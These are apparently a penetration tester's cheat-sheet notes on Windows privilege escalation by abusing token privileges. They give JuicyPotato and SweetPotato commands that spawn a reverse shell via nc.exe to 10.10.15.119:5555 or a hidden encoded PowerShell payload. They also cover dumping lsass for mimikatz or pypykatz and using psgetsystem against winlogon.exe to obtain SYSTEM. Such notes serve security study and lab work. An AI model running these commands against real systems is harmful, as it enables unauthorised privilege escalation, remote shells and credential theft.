Token Privileges
identify
Or sysinternals
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
Exploit
SeImpersonate & SeAssignPrimaryToken
Windows Server 2016 and under: JuicyPotato https://github.com/ohpe/juicy-potato
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.15.119 5555 -e cmd.exe" -t *
SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc <ENCODED REVSHELL>"
SeDebug
Dumping lsass
or with task manager
read with mimikatz or pypykatz
Elevating to SYSTEM
https://github.com/decoder-it/psgetsystem
Using psgetsystem we can launch a child process that inherits the token of the parent process.
PS C:\tools> tasklist
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 4 K
System 4 Services 0 116 K
smss.exe 340 Services 0 1,212 K
csrss.exe 444 Services 0 4,696 K
wininit.exe 548 Services 0 5,240 K
csrss.exe 556 Console 1 5,972 K
winlogon.exe 612 Console 1 10,408 K
We can target the winlogon.exe
service because its running as SYSTEM.
We can either 1. launch cmd.exe as SYSTEM if we have GUI access or 2. execute an exe to get a reverse shell, add ourselves to a group, or anything else.
that process will launch with the integrity of the parent. (Hopefully SYSTEM)